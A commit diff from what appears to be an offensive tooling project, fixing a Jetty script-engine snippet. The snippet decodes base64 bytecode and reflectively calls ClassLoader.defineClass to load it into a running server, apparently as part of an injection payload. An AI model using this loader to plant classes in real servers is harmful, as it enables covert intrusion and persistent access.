fix: jetty ScriptEngine not work

This commit is contained in:
ReaJason
2024-12-09 21:06:23 +08:00
parent 4feeca1ca8
commit 13cbbdb54f
+1 -1
View File
@@ -16,7 +16,7 @@ try {
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
}
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
var clsByteArray = classLoader.loadClass('[B');
var clsByteArray = Java.type('byte[]').class;
var clsInt = java.lang.Integer.TYPE;
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
defineClass.setAccessible(true);